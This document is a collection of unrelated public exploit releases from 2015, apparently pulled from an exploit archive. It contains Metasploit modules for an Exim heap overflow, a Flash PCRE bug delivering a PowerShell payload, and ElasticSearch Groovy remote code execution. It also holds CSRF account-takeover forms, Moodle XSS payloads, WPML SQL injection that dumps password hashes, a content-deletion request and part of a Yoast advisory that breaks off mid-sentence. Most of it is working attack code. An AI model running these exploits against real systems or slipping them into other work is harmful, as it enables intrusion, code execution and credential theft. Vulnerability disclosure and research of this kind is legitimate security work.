sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
).length
# fit completely into the safe-zone
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
loop do
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
# with alpha chars, which creates another safe-zone at the end of the heap)
heap_addr = max_heap_addr
loop do
# try harder the first time around: we obtain better
# heap boundaries, and we usually hit our ACL faster
(min_heap_addr ? 1 : 2).times do
# try the same heap_addr several times, but with different random offsets,
# in case we crash because our hijacked storeblock's length field is too small
# (we don't control what's stored at heap_addr)
rand_offset = rand(max_rand_offset)
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}") if reply
if reply and
reply[:code] == "550" and
# detect the parsed ACL, not the "still in text form" ACL (with "=")
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
print_good("Brute-force SUCCESS")
print_good("Please wait for reply...")
# execute command this time, not acldrop
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
print_debug("#{{ reply: reply }}")
return handler
end
if not min_heap_addr
if reply
fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
survived = heap_addr
else
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
# survived should point to our safe-zone at the beginning of the heap
fail_with("codeexec", "never survived") if not survived
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
min_heap_addr = survived
end
end
end
end
heap_addr -= step_len
break if min_heap_addr and heap_addr < min_heap_addr
end
break if step_len < 1024
step_len /= 2
end
helo_len /= 2
break if helo_len < 1024
# ^ otherwise the 3 copies of sender_helo_name will
# fit into the current_block of POOL_PERM memory
end
fail_with("codeexec", "Brute-force FAILURE")
end
# our write-what-where primitive
def try_code_execution(len, what, where)
fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
fail_with("codeexec", "#{where} < 0") if where < 0
x86 = (@leaked[:arch] == ARCH_X86)
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
last_digit = 1 + rand(9)
smtp_connect
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
"501 : sender address must contain a domain\r\n\0".length)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250)
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
# / 5, because "\x7F" is non-print, and:
# ss = store_get(length + nonprintcount * 4 + 1);
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
# auth_xtextdecode() is the only way to overwrite the beginning of a
# current_block of memory (the "storeblock" structure) with arbitrary data
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
# this shapes the rest of our exploit: we overwrite the beginning of the
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
# memory (allocated by auth_xtextdecode()).
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
auth_prefix += "."
# also fill log_buffer with alpha chars
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
smtp_recv(501, 'invalid data for AUTH')
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
begin
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] !~ /#{HELO_CODES}/
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
smtp_send("MAIL FROM:<>")
reply = smtp_recv(ANY_CODE)
return reply if reply[:code] != "250"
smtp_send("RCPT TO:<postmaster>")
reply = smtp_recv
return reply
rescue
return nil
end
ensure
smtp_disconnect
end
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
DOT = '[.]'
def smtp_connect(exploiting = true)
fail_with("smtp_connect", "sock isn't nil") if sock
connect
fail_with("smtp_connect", "sock is nil") if not sock
@smtp_state = :recv
banner = smtp_recv(220)
return if not exploiting
sender_host_address = datastore['SENDER_HOST_ADDRESS']
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
end
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
# turn helo_seen on (enable the MAIL command)
# call smtp_verify_helo() (force fopen() and small malloc()s)
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
smtp_send("HELO #{sender_host_address_octal}")
reply = smtp_recv(HELO_CODES)
if reply[:code] != "250"
fail_with("smtp_connect", "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
end
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
smtp_active_hostname = $1
sender_host_name = $2
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
sender_host_name = $2
sender_ident = $1
else
sender_ident = nil
end
fail_with("smtp_connect", "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
else
# can't double-check sender_host_address here, so only for advanced users
fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING']
# worst-case scenario
smtp_active_hostname = "A" * NS_MAXDNAME
sender_host_name = "A" * NS_MAXDNAME
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
end
_sender = @sender
@sender = {
hostaddr: sender_host_address,
hostaddr8: sender_host_address_octal,
hostname: sender_host_name,
ident: sender_ident,
__smtp_active_hostname: smtp_active_hostname
}
fail_with("smtp_connect", "sender changed") if _sender and _sender != @sender
# avoid a future pathological case by forcing it now:
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
smtp_recv(501, 'sender address must contain a domain')
smtp_send("RSET")
smtp_recv(250, 'Reset OK')
end
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send
@smtp_state = :sending
if not arg_pattern
fail_with("smtp_send", "prefix is nil") if not prefix
fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
command = prefix
else
fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
length = arg_length - arg_prefix.length - arg_suffix.length
fail_with("smtp_send", "len is #{length}") if length <= 0
argument = arg_prefix
case arg_pattern
when String
argument += arg_pattern * (length / arg_pattern.length)
argument += arg_pattern[0, length % arg_pattern.length]
when Method
argument += arg_pattern.call(length)
end
argument += arg_suffix
fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
command = prefix + argument + suffix
end
fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0
fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
# the following loop works around a bug in the put() method:
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
# (or send_idx and/or send_len could be removed altogether, like here)
while command and not command.empty?
num_sent = sock.put(command)
fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0
fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
command = command[num_sent..-1]
end
@smtp_state = :recv
end
def smtp_recv(expected_code = nil, expected_data = nil)
fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv
@smtp_state = :recving
failure = catch(:failure) do
# parse SMTP replies very carefully (the information
# leak injects arbitrary data into multiline replies)
data = ""
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
begin
more_data = sock.get_once
rescue
throw(:failure, "Caught #{$!.class}: #{$!.message}")
end
throw(:failure, "no more data") if more_data.nil?
throw(:failure, "no more data") if more_data.empty?
data += more_data
end
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
throw(:failure, "malformed reply (empty)") if lines.empty?
code = nil
lines.size.times do |i|
lines[i].sub!(/\A\r\n/mn, "")
lines[i] += "\r\n"
if i == 0
code = lines[i][0,3]
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
if expected_code and code !~ /\A(#{expected_code})\z/mn
throw(:failure, "unexpected #{code}, expected #{expected_code}")
end
end
line_begins_with = lines[i][0,4]
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
if line_begins_with != line_should_begin_with
throw(:failure, "line begins with #{line_begins_with}, " \
"should begin with #{line_should_begin_with}")
end
end
throw(:failure, "malformed reply (join)") if lines.join("") != data
if expected_data and data !~ /#{expected_data}/mn
throw(:failure, "unexpected data")
end
reply = { code: code, lines: lines }
@smtp_state = :send
return reply
end
fail_with("smtp_recv", "#{failure}") if expected_code
return nil
end
def smtp_disconnect
disconnect if sock
fail_with("smtp_disconnect", "sock isn't nil") if sock
@smtp_state = :disconnected
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mark Brand', # Found vuln
'sinn3r' # MSF
],
'References' =>
[
[ 'CVE', '2015-0318' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'Retries' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{#{CLASSID}}",
:method => "LoadMovie",
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
# So we're gonna limit to this one for now. More validation needed in the future.
:flash => lambda { |ver| ver == '16.0.0.235' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Nov 25 2014",
'DefaultTarget' => 0))
end
def exploit
# Please see data/exploits/CVE-2015-0318/ for source,
# that's where the actual exploit is
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
# Exploit Title: Metasploit Project initial User Creation CSRF
# Google Dork: N/A
# Date: 14-2-2015
# Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh)
# Vendor Homepage: http://www.metasploit.com/
# Software Link:
http://www.rapid7.com/products/metasploit/editions-and-features.jsp
# Version: Free/Pro < 4.11.1 (Update 2015021901)
# Tested on: All OS
# CVE : N/A
Vulnerability:
Cross Site Request Forgery - (CSRF)
Info:
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
More Details:
After doing some research, i have found that the anti csrf token
"authenticity_token" value is not validated from the local server side
which will result in a more csrf attack scenario around the whole local
metasploit project.
Affected URL(s)/PoC Code(s):
-Change Local Metasploit Project User Settings
<html>
<body>
<form action="https://127.0.0.1:3790/users/1" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="_method" value="put" />
<input type="hidden" name="authenticity_token" value="" />
<input type="hidden" name="user[fullname]" value="Attacker" />
<input type="hidden" name="user[email]" value="EMAIL" />
<input type="hidden" name="user[company]" value="COMPANY" />
<input type="hidden" name="user[time_zone]" value="Cairo" />
<input type="hidden" name="commit" value="Save Settings" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
-Full Local Metasploit Project Account Takeover before setting up the first
user settings
<html>
<body>
<form action="https://127.0.0.1:3790/users" method="POST">
<input type="hidden" name="utf8" value="✓" />
<input type="hidden" name="authenticity_token" value="" />
<input type="hidden" name="user[username]" value="Username" />
<input type="hidden" name="user[password]" value="PASSWORD" />
<input type="hidden" name="user[password_confirmation]"
value="PASSWORD" />
<input type="hidden" name="user[fullname]" value="FUll_Name" />
<input type="hidden" name="user[email]" value="EMAIL" />
<input type="hidden" name="user[company]" value="COMPANY" />
<input type="hidden" name="user[time_zone]" value="Cairo" />
<input type="hidden" name="commit" value="Create Account" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
More Details/Impact:
-Change Local Metasploit Project User Settings
-Full Local Metasploit Project Account Takeover before setting up the first
user settings
Report Timeline:
[-] 14/02/2015: Reported to Rapid7 Security Team
[-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability
[-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and public
disclosure rules
[-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for the
vulnerability in place, Fixed in Update 4.11.1 (Update 2015021901),
https://community.rapid7.com/docs/DOC-3010
[-] 16/03/2015: Public Disclosure
Thanks
--
*Best Regards**,**,*
*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
& Bug Bounty Hunter.
LinkedIn
<https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae
<http://goo.gl/cNrVpL>
<https://www.linkedin.com/in/symbiansymoh>Facebook
<https://fb.com/symbiansymoh>Twitter
<https://twitter.com/symbiansymoh>
Moodle 2.5.9/2.6.8/2.7.5/2.8.3 Block Title Handler Cross-Site Scripting
Vendor: Moodle Pty Ltd
Product web page: https://www.moodle.org
Affected version: 2.8.3, 2.7.5, 2.6.8 and 2.5.9
Summary: Moodle is a learning platform designed to provide
educators, administrators and learners with a single robust,
secure and integrated system to create personalised learning
environments.
Desc: Moodle suffers from persistent XSS vulnerabilities. Input
passed to the POST parameters 'config_title' and 'title' thru
index.php, are not properly sanitized allowing the attacker to
execute HTML or JS code into user's browser session on the affected
site. Affected components: Blocks, Glossary, RSS and Tags.
Tested on: nginx
PHP/5.4.22
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5236
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5236.php
Vendor Advisory ID: MSA-15-0013
Vendor Advisory URL: https://moodle.org/mod/forum/discuss.php?d=307383
CVE ID: CVE-2015-2269
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2269
09.02.2015
--
Random Glossary Entry
---------------------
POST http://WEB/my/index.php HTTP/1.1
_qf__block_glossary_random_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=304
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_addentry=test
config_invisible=test2
config_refresh=0
config_showconcept=1
config_title=" onmouseover=prompt("XSS1") >
config_type=0
config_viewglossary=test3
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes
Remote RSS Feeds
----------------
POST http://WEB/my/index.php HTTP/1.1
_qf__block_rss_client_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=312
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_block_rss_client_show_channel_image=0
config_block_rss_client_show_channel_link=0
config_display_description=0
config_rssid=_qf__force_multiselect_submission
config_rssid[]=3
config_shownumentries=11
config_title=" onmouseover=prompt("XSS2") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes
Tags
----
POST http://WEB/my/index.php HTTP/1.1
_qf__block_tags_edit_form=1
bui_contexts=0
bui_defaultregion=side-pre
bui_defaultweight=4
bui_editid=313
bui_editingatfrontpage=0
bui_pagetypepattern=my-index
bui_parentcontextid=411
bui_region=side-pre
bui_subpagepattern=%@NULL@%
bui_visible=1
bui_weight=4
config_numberoftags=80
config_tagtype=
config_title=Tags" onmouseover=prompt("XSS3") >
mform_isexpanded_id_configheader=1
mform_isexpanded_id_onthispage=0
mform_isexpanded_id_whereheader=0
sesskey=S8TXvxdEKF
submitbutton=Save changes
Older not supported versions
----------------------------
POST http://WEB/blog/index.php HTTP/1.1
blockaction=config
filterselect=1343
filtertype=user
instanceid=4992
numberoftags=20
sesskey=0QCG5LQz0Q
sort=name
timewithin=90
title=ZSL"><script>alert(document.cookie);</script>
Spybot Search & Destroy 1.6.2 Security Center Service Privilege Escalation
Vendor: Safer-Networking Ltd.
Product web page: http://www.safer-networking.org
Affected version: 1.6.2
Summary: Spybot – Search & Destroy (S&D) is a spyware and adware removal
computer program compatible with Microsoft Windows 95 and later. It scans
the computer hard disk and/or RAM for malicious software.
Desc: The application suffers from an unquoted search path issue impacting
the service 'SBSDWSCService' for Windows deployed as part of Spybot S&D.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. A
successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user’s code would execute with the elevated privileges
of the application.
Tested on: Microsoft Windows Ultimate 7 SP1 (EN)
Vulnerability discovered by Aljaz Ceru
aljaz@insec.si
Advisory ID: ZSL-2015-5237
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5237.php
17.02.2015
---
C:\Users\user>sc qc SBSDWSCService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SBSDWSCService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Spybot - Search & Destroy\SDWinSec.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SBSD Security Center Service
DEPENDENCIES : wscsvc
SERVICE_START_NAME : LocalSystem
C:\Users\user>
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
'Description' => %q{
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
REST API, which does not require authentication, where the search function allows
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
},
'Author' =>
[
'Cameron Morris', # Vulnerability discovery
'Darren Martyn', # Public Exploit
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1427'],
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
['URL', 'http://drops.wooyun.org/papers/5107']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
['ElasticSearch 1.4.2', {}]
],
'DisclosureDate' => 'Feb 11 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9200),
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
], self.class)
end
def check
result = Exploit::CheckCode::Safe
if vulnerable?
result = Exploit::CheckCode::Vulnerable
end
result
end
def exploit
print_status("#{peer} - Checking vulnerability...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end
print_status("#{peer} - Discovering TEMP path...")
res = execute(java_tmp_dir)
tmp_dir = parse_result(res)
if tmp_dir.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path on '#{tmp_dir}'")
end
print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
os = parse_result(res)
if os.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - Remote OS is '#{os}'")
end
if os =~ /win/i
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
else
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
end
register_files_for_cleanup(tmp_file)
print_status("#{peer} - Trying to load metasploit payload...")
java = java_load_class(os, tmp_file)
execute(java)
end
def vulnerable?
java = 'java.lang.Math.class.forName("java.lang.Runtime")'
vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
res = execute(java)
result = parse_result(res)
if result.nil?
vprint_status("#{peer} - no response to test")
return false
elsif result == 'class java.lang.Runtime'
return true
end
false
end
def parse_result(res)
unless res
vprint_error("#{peer} - No response")
return nil
end
unless res.code == 200 && res.body
vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil
end
begin
json = JSON.parse(res.body.to_s)
rescue JSON::ParserError
return nil
end
begin
result = json['hits']['hits'][0]['fields']['msf_result']
rescue
return nil
end
result.is_a?(::Array) ? result.first : result
end
def java_tmp_dir
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
end
def java_os
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
end
def java_load_class(os, tmp_file)
if os =~ /win/i
tmp_file.gsub!(/\\/, '\\\\\\\\')
end
java = [
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
'b64_i=b64.newInstance();',
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
'file_class=java.lang.Math.class.forName("java.io.File");',
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
'loader=loader_class.newInstance();',
'loader.addURL(file_url);',
'm=loader.loadClass(\'metasploit.Payload\');',
'm.main(null);'
]
java.join
end
def execute(java, timeout = 20)
payload = {
"size" => 1,
"query" => {
"filtered" => {
"query" => {
"match_all" => {}
}
}
},
"script_fields" => {
"msf_result" => {
"script" => java
}
}
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
'method' => 'POST',
'data' => JSON.generate(payload)
}, timeout)
res
end
end
OVERVIEW
==========
WPML is the industry standard for creating multi-lingual WordPress
sites. Three vulnerabilities were found in the plug-in. The most
serious of them, an SQL injection problem, allows anyone to read the
contents of the WordPress database, including user details and
password hashes, without authentication.
System administrators should update to version 3.1.9.1 released
earlier this week to resolve the issues.
DETAILS
========
1. SQL injection
When WPML processed a HTTP POST request containing the parameter
”action=wp-link-ajax”, the current language is determined by parsing
the HTTP referer. The parsed language code is not checked for
validity, nor SQL-escaped. The user doesn’t need to be logged in.
By sending a carefully crafted referer value with the mentioned POST
request parameter, an attacker can perform SQL queries on arbitrary
tables and retrieve their results. In addition to the standard
WordPress database and tables, the attacker may query all other
databases and tables accessible to the web backend.
The following HTML snippet demonstrates the vulnerability:
<script>
var union="select
user_login,1,user_email,2,3,4,5,6,user_pass,7,8,9,10,11,12 from
wp_users";
if (document.location.search.length < 2)
document.location.search="lang=xx' UNION "+union+" -- -- ";
</script>
<form method=POST action="https://YOUR.WORDPRESS.BLOG/comments/feed">
<input type=hidden name=action value="wp-link-ajax">
<input type=submit>
</form>
The results of the SQL query will be shown in the comments feed XML-formatted.
2. Page/post/menu deletion
WPML contains a ”menu sync” function which helps site administrators
to keep WordPress menus consistent across different languages. This
functionality lacked any access control, allowing anyone to delete
practically all content of the website - posts, pages, and menus.
Example:
<form method=POST
action="https://YOUR.WORDPRESS.BLOG/?page=sitepress-multilingual-cms/menu/menus-sync.php">
<input type=hidden name="action" value="icl_msync_confirm">
<input type=text name="sync" size=50 value="del[x][y][12345]=z">
<input type=submit>
</form>
Submitting the above form would delete the row with the ID 12345 in
the wp_posts database. Several items be deleted with the same request.
3. Reflected XSS
The ”reminder popup” code intended for administrators in WPML didn’t
check for login status or nonce. An attacker can direct target users
to an URL like:
https://YOUR.WORDPRESS.BLOG/?icl_action=reminder_popup&target=javascript%3Aalert%28%2Fhello+world%2f%29%3b%2f%2f
to execute JavaScript in their browser. This example bypasses the
Chrome XSS Auditor.
In the case of WordPress, XSS triggered by an administrator can lead
to server-side compromise via the plugin and theme editors.
CREDITS
========
The vulnerabilities were found by Jouko Pynnonen of Klikki Oy while
researching WordPress plugins falling in the scope of the Facebook bug
bounty program.
The vendor was notified on March 02, 2015 and the patch was released
on March 10.
Vendor advisory: http://wpml.org/2015/03/wpml-security-update-bug-and-fix/
An up-to-date version of this document can be found on our website
http://klikki.fi .
--
Jouko Pynnönen <jouko@iki.fi>
Klikki Oy - http://klikki.fi
Title: WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection
Version/s Tested: 1.7.3.3
Patched Version: 1.7.4
CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
CVSSv2 Temporal Score: 7 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
WPVULNDB: https://wpvulndb.com/vulnerabilities/7841
Description:
WordPress SEO by Yoast is a popular WordPress plugin (wordpress-seo) used
to improve the Search Engine Optimization (SEO) of WordPress sites. The
latest version at the time of writing (1.7.3.3) has been found to be
affected by two authenticated (admin, editor or author user) Blind SQL
Injection vulnerabilities. The plugin has more than one million downloads
according to WordPress.
Technical Description:
The authenticated Blind SQL Injection vulnerability can be found within the
'admin/class-bulk-editor-list-table.php' file. The orderby and order GET
parameters are not sufficiently sanitised before being used within a SQL
query.
Line 529:
$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field(
$_GET['orderby'] ) ) : 'post_title';
Line 533:
order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );
If the GET orderby parameter value is not empty it will pass its value
through WordPess's own esc_sql() function. According to WordPress this
